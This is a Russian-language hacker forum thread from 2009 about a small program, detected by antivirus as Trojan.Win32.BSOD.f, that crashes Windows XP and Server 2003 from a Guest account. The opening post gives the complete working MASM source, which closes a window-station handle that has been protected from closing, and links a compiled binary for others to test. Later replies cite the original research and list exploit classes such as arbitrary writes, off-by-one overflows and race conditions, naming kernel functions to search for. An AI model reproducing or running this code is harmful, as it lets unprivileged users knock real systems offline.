BSOD из-под аккаунта "Гость"

Тема в разделе "WASM.WIN32", создана пользователем VaZoNeZ, 21 дек 2009.

  1. VaZoNeZ

    VaZoNeZ New Member

    Публикаций:
    0
    Регистрация:
    12 июл 2009
    Сообщения:
    121
    Сегодня ковырял хрень какую-то, но с интересным детектом аверами - Trojan.Win32.BSOD.f
    В общем, название не подкачало - оказалось бсодит. Дело вот в чем - бсодит везде, даже из-под гостя. XP SP2.
    Весь бсодящий код таков:
    Код (Text):
    1. .386
    2. .model flat, stdcall
    3. option casemap: none
    4. include \masm32\include\windows.inc
    5. include \masm32\include\kernel32.inc
    6. include \masm32\include\user32.inc
    7. includelib \masm32\lib\kernel32.lib
    8. includelib \masm32\lib\user32.lib
    9. .code
    10. start:
    11.      invoke CreateWindowStationW, 0, 0, 0000037Fh, 0
    12.      mov    esi, eax
    13.      invoke SetHandleInformation, esi, 2, 2
    14.      invoke CloseWindowStation, esi
    15.      invoke ExitProcess,0
    16. end start
    Скомпилированный бинарник:
    http://www.sendspace.com/file/r91sd2

    Гугл ничем не помог по этому вопросу( Если не сложно, потестьте на SP3/Vista/7
     
  2. n0name

    n0name New Member

    Публикаций:
    0
    Регистрация:
    5 июн 2004
    Сообщения:
    4.336
    Адрес:
    Russia
    мм, баян.
    Ионеску, ЕМНИП, писал об этом.
     
  3. VaZoNeZ

    VaZoNeZ New Member

    Публикаций:
    0
    Регистрация:
    12 июл 2009
    Сообщения:
    121
    Ок, спс. Уже нашел :/
     
  4. n0name

    n0name New Member

    Публикаций:
    0
    Регистрация:
    5 июн 2004
    Сообщения:
    4.336
    Адрес:
    Russia
    BH_US_08_Ionescu_Pointers_and_Handles
     
  5. RET

    RET Well-Known Member

    Публикаций:
    17
    Регистрация:
    5 янв 2008
    Сообщения:
    789
    Адрес:
    Jabber: darksys@sj.ms
    }{оть и баян - бсодит зараза на нов. сервиспаках(обновах) server 2003
     
  6. gorodon

    gorodon New Member

    Публикаций:
    0
    Регистрация:
    19 окт 2009
    Сообщения:
    301
    УУх, а никто не смотрел - эксплоит возможен?
     
  7. RET

    RET Well-Known Member

    Публикаций:
    17
    Регистрация:
    5 янв 2008
    Сообщения:
    789
    Адрес:
    Jabber: darksys@sj.ms
    видимо да
     
  8. sometime

    sometime Odessa

    Публикаций:
    0
    Регистрация:
    22 апр 2009
    Сообщения:
    227
    Адрес:
    sunday
    RET
    а как определяют возможен ли он?
     
  9. n0name

    n0name New Member

    Публикаций:
    0
    Регистрация:
    5 июн 2004
    Сообщения:
    4.336
    Адрес:
    Russia
    по коду, который содержит уязвимость.
     
  10. sometime

    sometime Odessa

    Публикаций:
    0
    Регистрация:
    22 апр 2009
    Сообщения:
    227
    Адрес:
    sunday
    n0name
    это как бы понятно.

    интересовало какие бывают варианты недоучётов в уязвимом коде, т.е. не думаю что бывают дыры только в том случае если не проверил длину вводимого параметра в ф.ю
    старался выразится как можно приближенней (фак не знаю я как правильно на русском.)
     
  11. Clerk

    Clerk Забанен

    Публикаций:
    0
    Регистрация:
    4 янв 2008
    Сообщения:
    6.689
    Адрес:
    РБ, Могилёв
    gorodon
    Уронить ось просто, эксплоит для этого в посте #1(менеджер останавливает ось при закрытии не валидного или защищённого от закрытия ядерного хэндла). Лучше легальные поверапи юзать, более надёжно, гибко и документировано. Вобще новостные ленты наверно читают все. Толпа юзеров у которых по какимто невиданным причинам падает ось ломятся на форумы с вопросами что это и в чём причина. Гугл помогает отсеять новые сообщения, наиболее интересны ошибки в драйверах приводящих к останову с кодом IRQL_NOT_LESS_OR_EQUAL(,,1,).
     
  12. wasm_test

    wasm_test wasm test user

    Публикаций:
    0
    Регистрация:
    24 ноя 2006
    Сообщения:
    5.582
    gorodon
    Эксплоит в смысле для повышения привилегий? Очевидно, нет.
    А если не такой, то какой?

    sometime
    Много недочётов. Основные:
    - строковые функции неправильно контролируют длину, так что возможна запись части символов после конца буффера (даже в случае, если в результате ошибки перезаписывается только нулевой байт конца строки, возможна атака класса 'однобайтовое переполнение')
    - функции, принимающие в качестве параметра адрес или число, которое участвует в арифметических операциях с адресов, и пишущие что-либо по этому адресу не контролируют параметры и возможна запись какого-либо значения по произвольному адресу. значение может быть как контролируемое, так и нет (чаще всего встречается запись нуля куда-либо, смотри в гугле сплоиты с ключевыми словами NtQueryIntervalProfile NtAllocateVirtualMemory; так же сюда относятся и ядерные эксплоиты, где неверно вызывается ProbeForWrite, например эксплоит в NtUserFnOUTSTRING)
    - race condition (условие гонки): функция больше одного раза обращается по адресу входного параметра, переданного как аргумент, в следствие чего возможен вариант, когда значение по этому адресу подменяется в параллельном потоке между чтениями и функция выполняется неверно ("гонкой" называется потому, что каждый поток стремится первым обратиться к ячейке памяти) - сюда, например, относится одна из уязвимостей в win32k

    и другие, не вспомню сейчас всех.
     
  13. sometime

    sometime Odessa

    Публикаций:
    0
    Регистрация:
    22 апр 2009
    Сообщения:
    227
    Адрес:
    sunday
    Great
    спасиб!
    пока и так хватит))
    _четко, интересно, понятно - то чего просил!
     
  14. RET

    RET Well-Known Member

    Публикаций:
    17
    Регистрация:
    5 янв 2008
    Сообщения:
    789
    Адрес:
    Jabber: darksys@sj.ms
    еще стековые
     
  15. Folk Acid

    Folk Acid New Member

    Публикаций:
    0
    Регистрация:
    23 авг 2005
    Сообщения:
    432
    Адрес:
    Ukraine
    так ведь SP2 - это боянище
     
  16. Freeman

    Freeman New Member

    Публикаций:
    0
    Регистрация:
    10 фев 2005
    Сообщения:
    1.385
    Адрес:
    Ukraine
    Folk Acid
    это боянище юзается и будет еще долго юзацо